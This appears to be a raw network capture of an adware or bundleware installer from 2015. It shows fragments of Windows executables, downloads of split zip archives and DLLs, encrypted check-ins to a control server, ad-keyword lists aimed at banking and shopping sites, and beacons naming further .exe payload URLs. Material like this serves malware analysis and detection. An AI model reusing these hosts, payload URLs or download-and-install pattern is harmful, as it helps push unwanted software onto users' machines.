X-Amz-Cf-Id: wZ1hIueu9YRBNArEcv8TJhJRVdN_E4_7XQp-vALwq1WJEwP13Zd8Tg==

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..iu..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i........................PE..L......K.................^...........0.......p....@..........................0!..............................................t....... !..............................................................................p...............................text...L\.......^.................. ..`.rdata.......p.......b..............@..@.data...X\...........v..............@....ndata...0...............................rsrc........ !......z..............@..@........................................................................................................................................................................................................................................................................................................................................................................U....\.}..t .}.F.E.u..H....h.B..H.P.u..u..u...Hr@..B...SV.5p.B..E.WP.u...Lr@..e...E..E.P.u...Pr@..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....NU..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@..u....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......Pp@..vXW..Tp@..u..5Xp@.W...E..E.h ...Pj.h`.B.W..Xr@..u.W...u....E.P.u...\r@._^3.[.....L$....B...Si.....VW.T.....tO.q.3.;5..B.sB..i......D.......t.G.....t...O..t .....u...3....3...F.....;5..B.r._^[...U..QQ.U.SV..i....

<<< skipped >>>

GET /crossbrowse/ie/107/ie.zip.003 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: zip.rgbdomsrv.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Wed, 23 Sep 2015 14:45:44 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1441008913"

Last-Modified: Mon, 31 Aug 2015 08:15:13 GMT

Cache-Control: max-age=69478

Content-Length: 8244985

Content-Type: text/plain; charset=UTF-8

X-HW: 1443019545.dop001.fr7.t,1443019544.cds002.fr7.c

l...%...J.....=.6...<.,........#....U.s.I.* m..e_O.'.x..4.SV..x...q...d.[.R...A_.....&........."b.....g.........^...N}...$............^..O.&.S....y.Q..vm.!.W........j.kt.......D....%G......*..$.k...@c".e...wu..b.3..oV.....G..ER...o.V..co....v.P..[}.....m.......3.;.E..r.O...{."..'V.-....V.L.4....RF. .:`....M.8..z....z.m....7>...<t?.)$g.'.....~..i.i..W..gV...vZV......dy.cec<F2.8..ZT.W...}d.m..m5..h^...../.@.c.F.....vW......<.PQ....I.8...L-...C...........<%....n..b.4.3gJ.h.D.U...8....PV80..R.so~..k..S QGp4.%.i..I..?...Z@%.B..U!1..m.3.........|7h..s.;V,WBbPQ}=.......%..o......hc........5.9...v|.t...<"....t.Z6.........f.4.3.H..Y ...d...C-.u...B.....RIK:.*$$JP.........q..v.-........$....q..@.../-.. 6Ie.....7....0b...NR.Ti.<U.@a.$.8.m`.i... ~.Y.)j0....%....M.... .CF?0......pd.........M......~m.8.#3b .>...3|`./|W.=../#7j\U..k..@7..G.1.K..?=J../ ?....M...U.`...P.2....A&'?.:oI...\.}6...=k..D..Jv..<HfG..).>p..?.R1....GUo._.mb.M" X...6........#...V$...........GX[R...=.xX.C ~N.2..!gs.(.o...qa.......y0..G......p$0. ^.`.@.*..)?....u.&...L......6....................Q$....4AJFn....kj...................q...Q.K;.E.}..\9eL..jO4.....N..Y.........}GD{.j.....d.c.(...uMK$.h.T........~0..T.<a......PPC..x..&.%`}."5...Q%.4RS..F>@T.}...;..w...zOoL....^DX.<..'.M.Nl\..E{(.}....5.s.(....a.[...,....@.xD.:$.D?.h...:T.=r./.VD.V......k.J..9.dC..g.>_.9.........(RiV......]...}....u7.J..:c.,...D....O..-..A.x.... PP..j;...b...TA..(.,]... r..........t.....5.7`H.)<6A...9.....tD...bl.]e....F....{ .....5..

<<< skipped >>>

GET /sdk/binsis/2.2/BiTool.dll HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: d27foqb3kkzkt9.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 59904

Connection: keep-alive

Server: nginx

Date: Thu, 23 Jul 2015 01:04:56 GMT

Last-Modified: Tue, 15 Oct 2013 19:55:30 GMT

ETag: "525d9db2-ea00"

Expires: Thu, 23 Jul 2015 01:14:56 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

Age: 563

X-Cache: Hit from cloudfront

Via: 1.1 7f0216233154388a0ffe191ece5a7b12.cloudfront.net (CloudFront)

X-Amz-Cf-Id: f6bHYcvEHmiEjHE3LorWjU-OwQXqFp-c6SNrC7rpXU-TS7SNfpAWbg==

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......I}.I..h...h...h..S....h..d....h..d....h..d....h..d....h...i.W.h..d....h..d....h..d....h.Rich..h.................PE..L.....]R...........!.........,......e........................................ ......9.....@.....................................................................0...................................`...@...............H............................text..._........................... ..`.rdata..5...........................@..@.data...x...........................@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................U..Q.M..E..M....E...]...........U..Q.M..E.....].U..Q.M...]......U..Q.M..E........E...]..........U..Q.M..E..M.......]............U......M..E..8.t..M.........E....E......E...]...U..Q.M..E..M...3.;......].......U..Q.M..E.3..8........].........U..Q.M..E.P.M........M........E...].............U..Q.M..E........M.........]....U..Q.M..M.......E....t..M.Q.Z.......E...].......U...E.].........U..j.h....d.....PQ.....3.P.E.d......M..M........E......E........M.Q.M...........E......E..M.d......Y..].........U..Q.M..E.......

<<< skipped >>>

GET /cgi-bin/advert/getkws.cgi?did=90068&version=0&key=azJJ.s8MVPsHc HTTP/1.1

User-Agent: gmsd_re_005010095-1.20

Host: ads.under-myscreen.be

Accept: */*

Accept-Encoding: gzip, deflate

Referer:

Cookie:

Accept-Language: en,en-US

X-Guuid: 75ed9567-aa58-4c8e-a8ea-3cad7c47ab03

X-OS-Ver: 5.1.2.2600

HTTP/1.1 200 OK

Date: Wed, 23 Sep 2015 14:46:09 GMT

Server: Apache/2.2.16 (Debian) mod_ssl/2.2.16 OpenSSL/0.9.8o mod_wsgi/3.3 Python/2.6.6 mod_perl/2.0.4 Perl/v5.10.1

X-C4PC-ServerName: ads.under-myscreen.be

Set-Cookie: _c4aid=75ED9567AA584C8EA8EA3CAD7C47AB03; expires=Mon, 21 Mar 16 14:46:00 GMT; domain=under-myscreen.be; path=/;

Set-Cookie: _c4aid2=75ED9567AA584C8EA8EA3CAD7C47AB03,1443019569.24114; expires=Mon, 21 Mar 16 14:46:00 GMT; domain=under-myscreen.be; path=/;

Connection: close

Transfer-Encoding: chunked

Content-Type: text/javascript

1f1..{"dids":{"90077":{"unmatch":["regiedepub.com|under-myscreen.be|eorezo.com|regiedepub.com"],"match":[{"u":0,"m":"yahoo|live|wikipedia|bing|msn|amazon|tumblr|royalbank|reddit|ebay"},{"u":0,"m":"pinterest|apple|ask|microsoft|bmo|wordpress|cibc|paypal|baidu|cbc"},{"u":0,"m":"xhamster"},{"u":0,"m":"xvideos|imbd|instagram|netflix|craigslist|kickass|td|thepiratebay"},{"u":0,"m":"http|fa|go|yah|hot|twit|blog|msn|apple|facebook|google|twitter|youtube"}]}},"freeze":3600,"refresh":3600,"version":116517}..0..

GET /crossbrowse/ie/107/ie.zip.002 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: zip.rgbdomsrv.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Wed, 23 Sep 2015 14:45:44 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1441008912"

Last-Modified: Mon, 31 Aug 2015 08:15:12 GMT

Cache-Control: max-age=69484

Content-Length: 8244985

Content-Type: text/plain; charset=UTF-8

X-HW: 1443019545.dop012.fr7.t,1443019544.cds004.fr7.c

.R...rf..ol......}>....]..m..sr!..m..Mu..v....\..F.....R...[y8...6...7...h.K.52.'.m];."......;........6.Q.Li.T[...<.....P..SJGtW....~......&.{h.X.;<.x...........iX..........qda.....P....6X.....@.(........... .....!E..t......-O..n..z..N.....4s....=0...xa.o....Q..P....z..oNiC. ...{..B.~..B..o.4...UO[.T....Y..f..*..G......h.1...B.I..1...;..3....(...;..M..Q.5..,F.._..$#..K.(..&...Y...O.Q(.>O......UP.<?2_... .%.D..*.H..y...5..U7.#.....J 7.8b...f.r64h.g ....'y.m..M.fW...e..Y.SG..D...a.h..auwR......v......_.s<E.O......Y..n-..hT..p.$J.`>......-...9.2.Is..5...v.~%{b.H.d).......w..m5......X..v~..!.:.K..xEzE...J...V....It..C6...~V6%...uG..bW...........)}..m..|nh..............wB;.M>.E.h..E0..9.....F.ew....J.J......_*4....*{..V(z..}q........u.:tfT...G9'....6......8.....h..r...`s/..kw.H.~...E..r_!.A.U....kbn......2..m]T&&.....p.p,6_.....~........;V.......:.....MI.Vs..'.(..@...B...S...O...<....q.IG....wB$.......Q.&.....4...{^....g..L...e8...b..(n.B<..b5...o......"......!.G.....m^......2.:...^...1xd[..h.^...I...c~.h.....Q.3tv"^k....!.G...d........=:.....5`a....ab$.r'3..:...l..&.d@p...P"..7..w..@.F:.x...o..j..W...%...Cz?.Np......~....GFP ;..Z.......2.~8....R...s......//.7.....l.U>....r.....{0.Gs:......`.pm......_{.".........#d..")..o..-.... ...E.J.....}.XhH;h...4j. ..E..3]g..9.!..T...``r.hwhEbP......L..S/Is|5..`....}|W(...8E76..7...*.l....Wuw....2.....cO..)4c..=X9..zwT...i.`..Rh.......ST.zLL.9..V.}<..<....5.>\H..,...(.l....q>..i2<~.E.F.....b.......\.....j1W.Q...o\s..}.<....$^w.

<<< skipped >>>

GET /cgi-bin/advert/settags?x_mode=args&x_format=javascript&x_dp_id=1203&x_pub_id=141783&tag=RE_CLICKMEIN_INSTALL_INI HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Accept: */*

User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Host: ads.regiedepub.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Wed, 23 Sep 2015 14:46:02 GMT

Server: Apache/2.2.22 (Debian) mod_ssl/2.2.22 OpenSSL/1.0.1e mod_wsgi/3.3 Python/2.7.3 mod_perl/2.0.7 Perl/v5.14.2

Content-Location: settags.cgi

Vary: negotiate

TCN: choice

Cache-Control: no-store, no-cache, must-revalidate

X-C4PC-ServerName: ads.regiedepub.com

P3P: policyref="hXXp://ads.regiedepub.com/w3c/p3p.xml",CP="NON DSP COR CURa PSA PSD OUR BUS NAV STA"

Expires: Wed, 23 Sep 15 14:46:00 GMT

Set-Cookie: _c4aid=EC7CBC3C3BC244B0B7E54F22FAD4E221; expires=Mon, 21 Mar 16 14:46:00 GMT; domain=regiedepub.com; path=/;

Set-Cookie: _c4aid2=EC7CBC3C3BC244B0B7E54F22FAD4E221,1443019562.09635; expires=Mon, 21 Mar 16 14:46:00 GMT; domain=regiedepub.com; path=/;

Connection: close

Transfer-Encoding: chunked

Content-Type: text/javascript

41.......if (window.rdp_callback).....rdp_callback(1203, 141783);......0..

GET /crossbrowse/ie/107/ie.zip.004 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: zip.rgbdomsrv.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Wed, 23 Sep 2015 14:45:45 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1441008913"

Last-Modified: Mon, 31 Aug 2015 08:15:13 GMT

Cache-Control: max-age=69451

Content-Length: 8244985

Content-Type: text/plain; charset=UTF-8

X-HW: 1443019545.dop010.fr7.t,1443019545.cds005.fr7.c

......."`...P.PB.............z.....R^z......cxT...x... ;K.....8..9i....|9..7...D..p[.2..!!.S.._.^..Z..W..8.@.'..\&!.!k...~..4.......f.V.u...0...^......,T;.....%......ch...F..c.........G.2../l.wr 1.&.?!..r.k.U....}%....w....}.2...}......oD.KX.G....p...s...$.W...c.Q.*<.4...Lz...@r.g;....~..w#..........`..@..m...){..$.......=z...J23..Bp....~.2.j.......pJ..X..C... .U.O5..h............._W...)#....:_lk.b.Z'..]..s0...6Y%..W........<...cP\Y..G.u.,U..B.og...8.C.~.8~..tj...t ....TT.-UQ....M.....1N-.x....P.p.#...wI..W...G.[.jO..Q.2.V1=..,/.......~..........."..Hma..se...^?.k....=...5...p.....I..G.hm. .vD....._...[.l...,.......s....O.....WU.v-:'.j..%...|....7.g...'..o1..._m.,.!.n.V.........Y5...}s<t..G.R3;R;8.....yP=.-.N...l{..r9..4.n&...U4..n..p.W....{d/l......*....!O*.j.}...%Q.....k.j..1=^.@G....!jI..5.....^7.O. ...DwR.....J/.@..4d."... ..$...#..........Xc.R>Vv.......;.d..C..W....'.....8 .*4Xw.drM.^...UE.C...]>.....ycA.... ....l..:..z..y....=I......9.........z.y......uX.... .T..........d-dj.7.d.!Q.qCqj.4.S{.&.".......s;..P.\.l..7...-OP....I...._\.YX2.6.Mb..._...5O.4....e..tyo...z.z.2.8..5........W..7......|.$............^..]..x...|...S...$....F.|_.SS......=...'...`rX....y...e.O..b...............U9hPfr..5KJ6;&.....d.d.......... .j....Wu.:...hk...a..s...]......?..T.]..8.cRN...........6..C=[.k....`......s]$.B, ....7;A......... ^.h~{..\:ybG.$..f.Q..l........#..FB.. ..........;.,RS.4].B-...N.EyNE...q.P_..g..}AY~_gz......42...%......Nx..D.D.!.]...[..o.1..&....."W.........nKK..).....<.x.@............?.m......c

<<< skipped >>>

POST /cgi-bin/get_protect.cgi HTTP/1.1

x-spidermessenger-crypted: 2

x-spidermessenger-crc32: 2859971505

x-spidermessenger-length: 275

Content-Type: text/*

User-Agent: gmsd_re_005010095-gmsd_re_005010095

Host: prof.youandmeandmeandyouhihi.com

Content-Length: 396

Cache-Control: no-cache

ujXl2iaEv38K+/yRWyXC+m7rYR+qMqcsQlG9GDKStkh98UP7deGEL5TaOKz1g+yqMJ3aCxnSq9+rMWq0WaUI+m5dHRt9cx1O7Z3jpCadG7OGTYHWSMH8wzRHTMkF3kA01FDSNvjutJ7/HJWKy4+gBy57rakpQjqpqIz6s6LnllH2VQ0beOHk8I9qsR7xuPuZeyGsBKlUlGPwBGLbWehme9YY/kr4ejmocAgdiLrIo6u7FwqD13aS3h/yt81Vg2KJrTDx63yjg6W3ua6TxQzzmoVxj1Me2R/cfk868QyP9qi/VKzjQCJJ1FbIhSa5GWYZV5WMUZmizNFubZ2WcJgi++wII5ZgoesQ0t9SKBmNpq8=

HTTP/1.1 200 OK

Date: Wed, 23 Sep 2015 14:46:08 GMT

Server: Apache/2.2.22

x-SPIDERMESSENGER-crypted: 2

x-SPIDERMESSENGER-length: 26782

x-SPIDERMESSENGER-crc32: -1

Set-Cookie: conftime=1443019568; expires=Mon, 17 Jan 16 08:32:00 GMT; domain=youandmeandmeandyouhihi.com; path=/;

Set-Cookie: EoRezo=194.242.96.218.1443019568967145; path=/; expires=Fri, 23-Oct-15 14:46:08 GMT

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Content-Type: text/plain

8b8c..0NogVEVNeZU/g6fcxXpPm8L/TbLACp6qNZeGXV8m6ec/K8dk0/yY5pEI4yS2Vf5K1CwWkZ8xeq2FoHZiTq7fWERGyCAg88jpdmzVknJJbtdhSvgVLNEQZKmNKxPN3kfiTP01QVCwkIhmgh8hn cj7eWsZKhcfTiMp1ErcCXmvxcJzGdkjAmepZXFf 9mvmx3MoaAaU4S9HOXqolKS L396Ms2AMXL7A9nS7mSIeZrH1Fibnvq1SMZYSdrNnlHEVOS4UhF22b2sfD/1N/sbg5OaCYk/ wsk9Tw2WwjfHvW38KDEsMQoM4jfY4GxZT2T5xe49I4GoJ165rbxbArH12unq888qQKOiF0SDva4WNiyAhG6aL26hAt8jBhqb90UtfEfnF7LP OsSKGGmX9P4Uk1PVImDE3GLR uCwDOqMMI3M/tsOmPtxiXkVKlH 6Q4T9uKM5gmsWzGoJnOPywaMlgirmUtOuTd3YUN8yLjG0mYk5utNCMCbd1C7cxI6TX44of4egeFCjbtc17m2fXGImZF 9WaoEA4aJgOOtQ/7OLaIE1cZaZCHR9ReISNtRbv3h 150BIFls4H9IYyqdMapSkjmaQpgWq6q5fXDfw0nkpav6z3ib7gMnZodptvgkJ68J1YYADTNTxvfuV5ycdcHw4b4aGJfYZbix1I0JiSoxx3nmZwBGmHO5slBfMZof9dnSbgj7DT1zM1gvK3EDaIovg6fPeZol4QhEaQWWA/AYYWq5zM4voXGJkD6PObW9tALHQyIZI/ITmnQJQNo/evm7sXhNdMB1ACqi0VnzsxS74zg/qIo//uNysOzjMrB6DtR7clqYAX p8jM3x KOgEuHdO3EUDPvr8UuVpvU0JQcNT8Dc0vAQTqxva/AR iRKas/cTMpjboyYaTmEco h6BVE 3uutOAn2Ce76sKlh6isUxf R biTWbEehTK/DJo66TC jsWtxwuuRwI0k7wWqipHkO954A6bCMnnqFSD/itZUlVyt9pQZHxzQg8hM9XCY vsEuo7aJCaJ6rDi3kL2A29EvBDvMxnf76GH0logfza6czp7VsXgowH9ggrG7 y17T4LJ8RD67xnt4m303ZyGhKRtpuoug4EZOGxus5zLNHsOCAsLCm1YLeMuQeQ1FnO/P3HE0MmLRRsybbgQcI42pOBpuVOfQxQgluflf1CUJUrDraSumXW2AEY5hPbcB8PRYa0A1dpoGNRkZAb/Mls2/mbgbo95Wy1J0jrR08/iBd9qsnrScZkAqgrPSLbJzViRvTwLeoGsguOGmJCrfp9zsGsjLCS7FmAX01mhrsfvcPF3KlP0TAhrcLcX FlEBf6/mxS6/NRQcQ1b8pVAqo2X0ILAgVymsUji0ZYzBI7xfS TYDONLPM3icvXfvDrHGZ041kcKeFe jph/qrtHOzRqT9T56J8WhIsQiZ1cZzVMl26SruAhVH6/BSIfUtlkYe//ZPOHJb2dJQly eLAG9tPWU0a0PmLmCzhO35M9uYlebn2yAOImXE/RD

<<< skipped >>>

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 115

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1726\",\"channel_id\": \"\", \"utm_addition\":\"v=2\"}"}

HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Wed, 23 Sep 2015 14:45:38 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive

{"Status":"OK"}....

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 126

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1727\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"tst=&v=2\"}"}

HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Wed, 23 Sep 2015 14:45:38 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive

{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *..Content-Type: text/html; charset=utf-8..Date: Wed, 23 Sep 2015 14:45:38 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-alive..{"Status":"OK"}....

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 177

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1722\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXp://d2fpsq9kg43yka.cloudfront.net/cmmdWriter.exe&v=2\"}"}

HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Wed, 23 Sep 2015 14:45:39 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive

{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *..Content-Type: text/html; charset=utf-8..Date: Wed, 23 Sep 2015 14:45:39 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-alive..{"Status":"OK"}....

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 190

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1723\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXp://d2fpsq9kg43yka.cloudfront.net/cmmdWriter.exe&errorlevel=0&v=2\"}"}

HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Wed, 23 Sep 2015 14:45:39 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive

{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *..Content-Type: text/html; charset=utf-8..Date: Wed, 23 Sep 2015 14:45:39 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-alive..{"Status":"OK"}....

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 181

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1722\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXp://livestatscounter.com/SysInfo/validator/timer.php&v=2\"}"}

HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Wed, 23 Sep 2015 14:45:40 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive

{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *..Content-Type: text/html; charset=utf-8..Date: Wed, 23 Sep 2015 14:45:40 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-alive..{"Status":"OK"}....

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 194

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1723\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXp://livestatscounter.com/SysInfo/validator/timer.php&errorlevel=0&v=2\"}"}

HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Wed, 23 Sep 2015 14:45:40 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive

{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *..Content-Type: text/html; charset=utf-8..Date: Wed, 23 Sep 2015 14:45:40 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-alive..{"Status":"OK"}....

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 183

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1722\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXp://dl.staticclientstorage.com/69/all/cp/row/setup.exe&v=2\"}"}

HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Wed, 23 Sep 2015 14:45:43 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive

{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *..Content-Type: text/html; charset=utf-8..Date: Wed, 23 Sep 2015 14:45:43 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-alive..{"Status":"OK"}....

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 196

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1723\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXp://dl.staticclientstorage.com/69/all/cp/row/setup.exe&errorlevel=0&v=2\"}"}

HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Wed, 23 Sep 2015 14:45:43 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive

{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *..Content-Type: text/html; charset=utf-8..Date: Wed, 23 Sep 2015 14:45:43 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-alive..{"Status":"OK"}....

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 199

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1722\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXp://d16hr9n7t75k58.cloudfront.net/36e0f22eacad857de2cd3b76aedc24a7.exe&v=2\"}"}

HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Wed, 23 Sep 2015 14:45:44 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive

{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *..Content-Type: text/html; charset=utf-8..Date: Wed, 23 Sep 2015 14:45:44 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-alive..{"Status":"OK"}....

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 212

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1723\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXp://d16hr9n7t75k58.cloudfront.net/36e0f22eacad857de2cd3b76aedc24a7.exe&errorlevel=0&v=2\"}"}

HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Wed, 23 Sep 2015 14:45:44 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive

{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *..Content-Type: text/html; charset=utf-8..Date: Wed, 23 Sep 2015 14:45:44 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-alive..{"Status":"OK"}....

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 189

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1722\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXps://s3.amazonaws.com/cf_vopackage/SysInfo/SearchUpdater.exe&v=2\"}"}

HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Wed, 23 Sep 2015 14:45:45 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive

{"Status":"OK"}....

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 202

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1723\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXps://s3.amazonaws.com/cf_vopackage/SysInfo/SearchUpdater.exe&errorlevel=0&v=2\"}"}

HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Wed, 23 Sep 2015 14:45:45 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive

